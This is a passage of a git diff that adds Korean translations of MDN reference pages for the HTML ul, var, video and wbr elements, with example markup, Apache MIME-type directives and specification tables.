+ <dt>{{ htmlattrdef("type") }} {{Deprecated_inline}}</dt>
+ <dd>This attribute sets the bullet style for the list. The values defined under <a href="/en-US/docs/HTML3.2">HTML3.2</a> and the transitional version of <a href="/en-US/docs/HTML4.01">HTML 4.0/4.01</a> are:
+ <ul>
+ <li><code>circle</code></li>
+ <li><code>disc</code></li>
+ <li><code>square</code></li>
+ </ul>
+
+ <p>A fourth bullet type has been defined in the WebTV interface, but not all browsers support it: <code>triangle</code>.</p>
+
+ <p>If not present and if no <a href="/en-US/docs/CSS">CSS</a> {{ cssxref("list-style-type") }} property applies to the element, the user agent selects a bullet type depending on the nesting level of the list.</p>
+
+ <div class="warning"><strong>Warning:</strong> Do not use this attribute, as it has been deprecated; use the <a href="/en-US/docs/Web/CSS">CSS</a> {{ cssxref("list-style-type") }} property instead.</div>
+ </dd>
+</dl>
+</div>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<p>보통 비정렬 목록의 항목은 선행하는 불릿 <a href="/ko/docs/Web/CSS/::marker">마커</a>와 함께 표시합니다.</p>
+
+<p><code>&lt;ul&gt;</code>과 {{htmlelement("ol")}}은 필요한 만큼 중첩할 수 있고, 서로 교차할 수도 있습니다.</p>
+
+<p><code>&lt;ul&gt;</code>과 {{htmlelement("ol")}}은 모두 목록을 나타냅니다. 차이가 있다면 <code>&lt;ul&gt;</code>에서는 순서가 중요하지 않다는 점입니다. 항목의 순서를 바꿨을 때 의미도 바뀐다면 {{htmlelement("ol")}}을 사용하세요. 그렇지 않으면 <code>&lt;ul&gt;</code>을 사용할 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="간단한_예제">간단한 예제</h3>
+
+<pre class="brush: html">&lt;ul&gt;
+ &lt;li&gt;first item&lt;/li&gt;
+ &lt;li&gt;second item&lt;/li&gt;
+ &lt;li&gt;third item&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<p>{{EmbedLiveSample("간단한_예제", 400, 100)}}</p>
+
+<h3 id="중첩_목록">중첩 목록</h3>
+
+<pre class="brush: html">&lt;ul&gt;
+ &lt;li&gt;first item&lt;/li&gt;
+ &lt;li&gt;second item
+ &lt;!-- Look, the closing &lt;/li&gt; tag is not placed here! --&gt;
+ &lt;ul&gt;
+ &lt;li&gt;second item first subitem&lt;/li&gt;
+ &lt;li&gt;second item second subitem
+ &lt;!-- Same for the second nested unordered list! --&gt;
+ &lt;ul&gt;
+ &lt;li&gt;second item second subitem first sub-subitem&lt;/li&gt;
+ &lt;li&gt;second item second subitem second sub-subitem&lt;/li&gt;
+ &lt;li&gt;second item second subitem third sub-subitem&lt;/li&gt;
+ &lt;/ul&gt;
+ &lt;/li&gt; &lt;!-- Closing &lt;/li&gt; tag for the li that
+ contains the third unordered list --&gt;
+ &lt;li&gt;second item third subitem&lt;/li&gt;
+ &lt;/ul&gt;
+ &lt;!-- Here is the closing &lt;/li&gt; tag --&gt;
+ &lt;/li&gt;
+ &lt;li&gt;third item&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<p>{{EmbedLiveSample("중첩_목록", 400, 220)}}</p>
+
+<h3 id="비정렬_목록_안의_정렬_목록">비정렬 목록 안의 정렬 목록</h3>
+
+<pre class="brush: html">&lt;ul&gt;
+ &lt;li&gt;first item&lt;/li&gt;
+ &lt;li&gt;second item
+ &lt;!-- Look, the closing &lt;/li&gt; tag is not placed here! --&gt;
+ &lt;ol&gt;
+ &lt;li&gt;second item first subitem&lt;/li&gt;
+ &lt;li&gt;second item second subitem&lt;/li&gt;
+ &lt;li&gt;second item third subitem&lt;/li&gt;
+ &lt;/ol&gt;
+ &lt;!-- Here is the closing &lt;/li&gt; tag --&gt;
+ &lt;/li&gt;
+ &lt;li&gt;third item&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<p>{{EmbedLiveSample("비정렬_목록_안의_정렬_목록", 400, 150)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'semantics.html#the-ul-element', '&lt;ul&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-ul-element', '&lt;ul&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.ul")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>리스트 관련 다른 요소: {{HTMLElement("ol")}}, {{HTMLElement("li")}}, {{HTMLElement("menu")}}</li>
+ <li><code>&lt;ol&gt;</code> 요소와 유용하게 사용할 수 있는 CSS 속성
+ <ul>
+ <li>서수를 표현할 방식을 지정하는 {{cssxref("list-style")}} 속성.</li>
+ <li>복잡한 중첩 목록을 처리하기 위한 <a href="/ko/docs/Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters">CSS 카운터</a></li>
+ <li>더 이상 사용하지 않는 <code>compact</code> 특성을 대체할 수 있는 {{cssxref("line-height")}}</li>
+ <li>항목의 들여쓰기를 조정하기 위한 {{cssxref("margin")}} 속성.</li>
+ </ul>
+ </li>
+</ul>
diff --git a/files/ko/web/html/element/var/index.html b/files/ko/web/html/element/var/index.html
new file mode 100644
index 0000000000..8b55934a46
--- /dev/null
+++ b/files/ko/web/html/element/var/index.html
@@ -0,0 +1,116 @@
+---
+title: '<var>: 변수 요소'
+slug: Web/HTML/Element/var
+tags:
+ - Element
+ - HTML
+ - HTML text-level semantics
+ - 'HTML:Flow content'
+ - 'HTML:Palpable Content'
+ - 'HTML:Phrasing content'
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/var
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTM <code>&lt;var&gt;</code> 요소</strong>는 수학 표현 또는 프로그래밍에서 변수의 이름을 나타냅니다.</span> 보통 현재 글씨체의 기울임꼴로 표시하지만, 브라우저마다 다를 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/var.html", "tabbed-shorter")}}</div>
+
+
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>모두</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<h3 id="관련_요소">관련 요소</h3>
+
+<p><code>&lt;var&gt;</code>와 함께 자주 사용하는 요소는 다음과 같습니다.</p>
+
+<ul>
+ <li>{{htmlelement("code")}}: HTML 코드 요소</li>
+ <li>{{htmlelement("kbd")}}: HTML 키보드 입력 요소</li>
+ <li>{{htmlelement("smap")}}: HTML 출력 예시 요소</li>
+</ul>
+
+<p><code>&lt;var&gt;</code>의 의미에 맞춰 사용하지 않고, 기울임꼴을 적용하기 위해 잘못 사용한 경우, 적절한 CSS와 {{htmlelement("span")}}를 사용해야 합니다. 혹은, 의미에 맞는 요소를 다음 목록에서 골라 사용하세요.</p>
+
+<ul>
+ <li>{{htmlelement("em")}}</li>
+ <li>{{htmlelement("i")}}</li>
+ <li>{{htmlelement("q")}}</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="기본_예제">기본 예제</h3>
+
+<p><code>&lt;var&gt;</code>를 사용해 수학 등식의 변수명을 나타내는 간단한 예제입니다.</p>
+
+<pre>&lt;p&gt;간단한 등식:
+ &lt;var&gt;x&lt;/var&gt; = &lt;var&gt;y&lt;/var&gt; + 2&lt;/p&gt;
+</pre>
+
+<p>{{EmbedLiveSample("Basic_example", 650,80)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-var-element', '&lt;var&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'textlevel-semantics.html#the-var-element', '&lt;var&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("html.elements.var")}}</p>
diff --git a/files/ko/web/html/element/video/index.html b/files/ko/web/html/element/video/index.html
new file mode 100644
index 0000000000..9007343baa
--- /dev/null
+++ b/files/ko/web/html/element/video/index.html
@@ -0,0 +1,145 @@
+---
+title: '<video>: 비디오 삽입 요소'
+slug: Web/HTML/Element/Video
+tags:
+ - Element
+ - HTML
+ - HTML embedded content
+ - Media
+ - Multimedia
+ - Reference
+ - Web
+ - 동영상
+ - 비디오
+translation_of: Web/HTML/Element/video
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;video&gt;</code> 요소</strong>는 비디오 플레이백을 지원하는 미디어 플레이어를 문서에 삽입합니다.</span> 오디오 콘텐츠에도 사용할 수 있으나, {{htmlelement("audio")}} 요소가 사용자 경험에 좀 더 적합합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/video.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<p>위 예제는 <code>&lt;video&gt;</code> 요소의 간단한 사용법을 보입니다. <code>&lt;video&gt;</code> 또한 {{htmlelement("img")}} 요소와 비슷하게, 표시하고자 하는 미디어로의 경로를 <code>src</code> 특성에 제공합니다. 또한 비디오의 너비와 높이, 자동재생과 반복 여부, 브라우저 기본 컨트롤 노출 여부 등 다른 정보도 특성을 통해 지정할 수 있습니다.</p>
+
+<p><code>&lt;video&gt;&lt;/video&gt;</code> 태그 안의 콘텐츠는 브라우저가 <code>&lt;video&gt;</code> 요소를 지원하지 않을 때 보여집니다.</p>
+
+<h2 id="Attributes" name="Attributes">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("autoplay")}}</dt>
+ <dd>부울(boolean) 속성. 이 값이 설정되면, 데이터 로딩이 완료되지 않더라도 재생 가능한 시점에 자동으로 재생이 시작됩니다.</dd>
+ <dt>{{htmlattrdef("buffered")}}</dt>
+ <dd>미디어의 어느 시간대가 버퍼에 들어 있는지 확인할 수 있는 속성입니다. 이 속성은 {{domxref("TimeRanges")}} 객체를 포함합니다.</dd>
+ <dt>{{htmlattrdef("controls")}}</dt>
+ <dd>이 속성이 존재하면, 소리 조절(volume), 동영상 탐색(seek), 일시 정지(pause)/재시작(resume)을 할 수 있는 컨트롤러를 제공합니다.</dd>
+ <dt>{{htmlattrdef("crossorigin")}}</dt>
+ <dd>This enumerated attribute indicates if the fetching of the related image must be done using CORS or not. <a href="/en-US/docs/CORS_Enabled_Image" title="CORS_Enabled_Image">CORS-enabled resources</a> can be reused in the {{HTMLElement("canvas")}} element without being <em>tainted</em>. The allowed values are:
+ <dl>
+ <dt>anonymous</dt>
+ <dd>A cross-origin request (i.e. with <code>Origin:</code> HTTP header) is performed. But no credential is sent (i.e. no cookie, no X.509 certificate and no HTTP Basic authentication is sent). If the server does not give credentials to the origin site (by not setting the <code>Access-Control-Allow-Origin:</code> HTTP header), the image will be <em>tainted</em> and its usage restricted..</dd>
+ <dt>use-credentials</dt>
+ <dd>A cross-origin request (i.e. with <code>Origin:</code> HTTP header) is performed with credential is sent (i.e. a cookie, a certificate and HTTP Basic authentication is performed). If the server does not give credentials to the origin site (through <code>Access-Control-Allow-Credentials:</code> HTTP header), the image will be <em>tainted</em> and its usage restricted.</dd>
+ </dl>
+ When not present, the resource is fetched without a CORS request (i.e. without sending the <code>Origin:</code> HTTP header), preventing its non-tainted used in {{HTMLElement('canvas')}} elements. If invalid, it is handled as if the enumerated keyword <strong>anonymous</strong> was used. See <a href="/en-US/docs/HTML/CORS_settings_attributes" title="CORS settings attributes">CORS settings attributes</a> for additional information.</dd>
+ <dt>{{htmlattrdef("height")}}</dt>
+ <dd>비디오의 출력 영역 높이이며, CSS 픽셀 단위 입니다.</dd>
+ <dt>{{htmlattrdef("loop")}}</dt>
+ <dd>부울(boolean) 속성, 이 값이 설정되면, 동영상 재생이 마친 후(동영상의 마지막에 도달하면) 자동으로 처음으로 돌아갑니다.</dd>
+ <dt>{{htmlattrdef("muted")}}</dt>
+ <dd>비디오에 포함되어 있는 오디오의 기본 설정을 나타내는 부울 속성입니다. 설정하면 오디오가 나오지 않습니다. 기본 값은 false이며 이는 비디오가 재생되면 오디오도 같이 재생됨을 의미합니다.</dd>
+ <dt>{{htmlattrdef("played")}}</dt>
+ <dd>재생된 동영상 영역을 나타내는 {{domxref("TimeRanges")}} 객체 입니다.</dd>
+ <dt>{{htmlattrdef("preload")}}</dt>
+ <dd>이 속성은 저작자가 생각하는 가장 좋은 사용자 경험이 어떠한 것인지 브라우저에 미리 정보를 알려주는 용도록 사용됩니다. 다음 값들 중 하나를 가질 수 있습니다:
+ <ul>
+ <li><span style="font-family: courier new;">none: </span>저작자가 생각하기에 사용자가 비디오를 보지 않거나 서버가 최소한의 트래픽을 유지하고자 함을 의미합니다. 다시 말해서 비디오가 캐시되지 않아야 함을 의미합니다.</li>
+ <li><span style="font-family: courier new;">metadata</span>: 저작자가 생각하기에 사용자가 비디오를 보지 않을 수도 있지만 메타데이터(예를 들어서 길이)를 미리 가져오는 것은 합리적임을 의미합니다.</li>
+ <li><span style="font-family: courier new;">auto</span>: 사용자가 우선순위를 가지고 있음을 의미합니다. 다시 말해서 사용자가 이를 사용하지 않을 지라도 필요하다면 전체 비디오가 다운로드 될 수 있음을 의미합니다.</li>
+ <li><em>빈 문자열</em>: <span style="font-family: courier new;">auto </span>와 동일합니다.</li>
+ </ul>
+
+ <p>스펙에서는 기본값으로 <span style="font-family: courier new;">metadata</span>를 권장하지만 설정하지 않았다면 각 브라우저가 정한 기본값을 설정하게 됩니다.</p>
+
+ <div class="note"><strong>사용 정보:</strong>
+
+ <ul>
+ <li>비디오를 자동으로 재생하려 한다면 브라우저가 이를 다운로드 해야 하기 때문에 <code>autoplay</code>이 이 속성보다 우선시 됩니다. <code>autoplay</code> 속성과 <code>preload</code> 속성을 둘 다 설정하는 것은 스펙상 가능합니다.</li>
+ <li>브라우저가 이 속성을 반드시 스팩대로 따라야 하는 것은 아닙니다. 단지 힌트일 뿐입니다.</li>
+ </ul>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("poster")}}</dt>
+ <dd>사용자가 동영상을 재생하거나 탐색하기 전까지 출력되는 포스터 프레임 주소입니다. 이 속성이 명시되지 않으면, 첫 번째 프레임이 사용 가능하게 될때까지 아무것도 출력되지 않다가, 가능하게 되면 첫 번째 프레임을 포스터 프레임으로 출력합니다.</dd>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>삽입(embed)할 동영상의 주소(url)입니다. 이 속성은 선택 사항으로, 비디오 블록 내의 {{HTMLElement("source")}} 요소를 사용하여 삽입할 동영상을 명시할 수도 있습니다.</dd>
+ <dt>{{htmlattrdef("width")}}</dt>
+ <dd>비디오의 출력 영역 너비이며, CSS 픽셀 단위입니다.</dd>
+</dl>
+
+<h2 id="Examples" name="Examples">이벤트</h2>
+
+<p><code>&lt;video&gt;</code> 요소는 많은 <a href="/en-US/docs/Web/Guide/Events/Media_events">이벤트</a>를 발생시킬 수 있습니다.</p>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<pre class="brush: html language-html"><code class="language-html"><span class="comment token">&lt;!-- Simple video example --&gt;</span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>video</span> <span class="attr-name token">src</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>videofile.ogg<span class="punctuation token">"</span></span> <span class="attr-name token">autoplay</span> <span class="attr-name token">poster</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>posterimage.jpg<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+ Sorry, your browser doesn't support embedded videos,
+ but don't worry, you can <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>a</span> <span class="attr-name token">href</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>videofile.ogg<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>download it<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>a</span><span class="punctuation token">&gt;</span></span>
+ and watch it with your favorite video player!
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>video</span><span class="punctuation token">&gt;</span></span>
+
+<span class="comment token">&lt;!-- Video with subtitles --&gt;</span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>video</span> <span class="attr-name token">src</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>foo.ogg<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+ <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>track</span> <span class="attr-name token">kind</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>subtitles<span class="punctuation token">"</span></span> <span class="attr-name token">src</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>foo.en.vtt<span class="punctuation token">"</span></span> <span class="attr-name token">srclang</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>en<span class="punctuation token">"</span></span> <span class="attr-name token">label</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>English<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+ <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>track</span> <span class="attr-name token">kind</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>subtitles<span class="punctuation token">"</span></span> <span class="attr-name token">src</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>foo.sv.vtt<span class="punctuation token">"</span></span> <span class="attr-name token">srclang</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>sv<span class="punctuation token">"</span></span> <span class="attr-name token">label</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>Svenska<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>video</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<p>첫번째 예제는 동영상을 더 다운받기 위해서 멈추지 않아도 될 정도로 영상이 다운로드 되면 바로 영상이 재생됩니다. 동영상이 재생되기 전까지 "posterimage.jpg" 이미지가 표현됩니다.</p>
+
+<p>두번째 예제에서는 사용자가 서로다른 자막을 선택할 수 있습니다.</p>
+
+<h2 id="Server_support" name="Server_support">서버 지원</h2>
+
+<p>동영상 MIME 타입이 올바르게 설정되어 있지 않다면 동영상이 보이지 않거나 X표시가 된 회색 박스가 나오게 됩니다(JavaScript가 활성화 된 경우).</p>
+
+<p>Ogg Theora 동영상을 사용할 경우 아파치 웹 서버에 동영상에서 사용하는 확장자(보통 ".ogm", ".ogv", ".ogg"를 사용합니다)를 "/etc/apache"에 있는 "mime.types" 파일에 "video/ogg" MIME 타입을 추가하거나 httpd.conf에 "AddType" 디렉티브를 이용해서 추가하면 해결됩니다.</p>
+
+<pre>AddType video/ogg .ogm
+AddType video/ogg .ogv
+AddType video/ogg .ogg
+</pre>
+
+<p>WebM 동영상을 사용할 경우 아파치 웹 서버에 동영상에서 사용하는 확장자(보통 ".webm"을 사용합니다)를 "/etc/apache"에 있는 "mime.types" 파일에 "video/webm" MIME 타입을 추가하거나 httpd.conf에 "AddType" 디렉티브를 이용해서 추가하면 해결됩니다.</p>
+
+<pre>AddType video/webm .webm
+</pre>
+
+<p>여러분의 웹 호스트에서 새로운 기술이 범용적으로 적용되어 업데이트 되기 전까지 편하게 MIME 타입을 설정하는 인터페이스를 제공할지도 모릅니다.</p>
+
+<h2 id="DOM_interface" name="DOM_interface">DOM 인터페이스</h2>
+
+<p>이 요소는 <code><a href="/en-US/docs/Web/API/HTMLVideoElement" title="DOM/HTMLVideoElementInterface">HTMLVideoElement</a></code> 인터페이스를 구현하고 있습니다.</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.video")}}</p>
+
+<h2 id="See_also" name="See_also">참고</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Media_formats_supported_by_the_audio_and_video_elements" title="Media formats supported by the audio and video elements">Media formats supported by the audio and video elements</a></li>
+ <li>{{htmlelement("audio")}}</li>
+ <li><a href="/en-US/docs/Using_HTML5_audio_and_video" title="Using audio and video in Firefox">Using HTML5 audio and video</a></li>
+ <li><a href="/en-US/docs/Manipulating_video_using_canvas" title="Manipulating video using canvas">Manipulating video using canvas</a></li>
+ <li><a href="/en-US/docs/XPCOM_Interface_Reference/NsIDOMHTMLMediaElement" title="NsIDOMHTMLMediaElement"><code>nsIDOMHTMLMediaElement</code></a></li>
+ <li><a class="external" href="http://tinyvid.tv/" title="http://tinyvid.tv/">TinyVid</a> - examples using ogg files in HTML5.</li>
+ <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#video" title="http://www.whatwg.org/specs/web-apps/current-work/#video">The <code>video</code> element</a> (HTML5 specification)</li>
+ <li><a href="/en-US/docs/Configuring_servers_for_Ogg_media" title="Configuring servers for Ogg media">Configuring servers for Ogg media</a></li>
+</ul>
diff --git a/files/ko/web/html/element/wbr/index.html b/files/ko/web/html/element/wbr/index.html
new file mode 100644
index 0000000000..4168ea677d
--- /dev/null
+++ b/files/ko/web/html/element/wbr/index.html
@@ -0,0 +1,111 @@
+---
+title: <wbr>
+slug: Web/HTML/Element/wbr
+tags:
+ - Element
+ - HTML
+ - HTML text-level semantics
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/wbr
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;wbr&gt;</code> 요소</strong>는 현재 요소의 줄 바꿈 규칙을 무시하고 브라우저가 줄을 바꿀 수 있는 위치를 나타냅니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/wbr.html", "tabbed-shorter")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</div>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td>없음. {{glossary("empty element", "빈 요소")}}입니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>여는 태그는 필수입니다. 닫는 태그는 존재해선 안됩니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">암시적 ARIA 역할</th>
+ <td><a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role">대응하는 역할 없음</a></td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>모두</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="참고">참고</h2>
+
+<p>UTF-8 인코딩을 사용한 페이지의 <code>&lt;wbr&gt;</code>은 <code>U+200B</code><code> ZERO-WIDTH SPACE</code> 코드 포인트처럼 동작합니다. 특히, {{glossary("Unicode")}} bidi BN 코드 포인트처럼 행동하므로 {{glossary("bidi")}} 정렬의 영향을 받지 않습니다. 즉 <code>&lt;div dir=rtl&gt;123,&lt;wbr&gt;456&lt;/div&gt;</code>의 줄이 바뀌지 않은 경우, <code>456,123</code>이 아니라 <code>123,456</code>으로 나타납니다.</p>
+
+<p>같은 이유로 인해 <code>&lt;wbr&gt;</code> 요소로 인한 줄바꿈으로는 붙임표가 나타나지 않습니다. 줄의 끝에 하이픈이 필요한 경우 소프트 하이픈 문자 개체(soft hyphen character entity, <code>&amp;shy;</code>)를 사용하세요.</p>
+
+<p><code>&lt;wbr&gt;</code>은 Internet Explorer 5.5에서 처음 구현됐고, HTML5가 정식으로 정의했습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>URL의 줄을 바꿀 때, 문장 부호 다음에 잘린 경우 독자가 URL이 끝난 것으로 혼동할 수 있으므로, <em><a class="external" href="https://web.archive.org/web/20121105171040/http://styleguide.yahoo.com/">The Yahoo Style Guide</a></em>는 <a href="https://web.archive.org/web/20121105171040/http://styleguide.yahoo.com/editing/treat-abbreviations-capitalization-and-titles-consistently/website-names-and-addresses">URL의 줄바꿈을 문장 부호 이전에 하라</a>고 추천합니다.</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;http://this&lt;wbr&gt;.is&lt;wbr&gt;.a&lt;wbr&gt;.really&lt;wbr&gt;.long&lt;wbr&gt;.example&lt;wbr&gt;.com/With&lt;wbr&gt;/deeper&lt;wbr&gt;/level&lt;wbr&gt;/pages&lt;wbr&gt;/deeper&lt;wbr&gt;/level&lt;wbr&gt;/pages&lt;wbr&gt;/deeper&lt;wbr&gt;/level&lt;wbr&gt;/pages&lt;wbr&gt;/deeper&lt;wbr&gt;/level&lt;wbr&gt;/pages&lt;wbr&gt;/deeper&lt;wbr&gt;/level&lt;wbr&gt;/pages&lt;/p&gt;
+</pre>
+
+<p>{{EmbedLiveSample("예제")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'semantics.html#the-wbr-element', '&lt;wbr&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'textlevel-semantics.html#the-wbr-element', '&lt;wbr&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("html.elements.wbr")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{cssxref("overflow-wrap")}}</li>
+ <li>{{cssxref("word-break")}}</li>
+ <li>{{cssxref("hyphens")}}</li>
+ <li>{{htmlelement("br")}} 요소</li>
+</ul>
diff --git a/files/ko/web/html/global_attributes/accesskey/index.html b/files/ko/web/html/global_attributes/accesskey/index.html
new file mode 100644
index 0000000000..82cd6c49c3
--- /dev/null
+++ b/files/ko/web/html/global_attributes/accesskey/index.html
@@ -0,0 +1,139 @@
+---
+title: accesskey
+slug: Web/HTML/Global_attributes/accesskey
+tags:
+ - Global attributes
+ - HTML
+ - Reference
+ - 단축키
+translation_of: Web/HTML/Global_attributes/accesskey
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
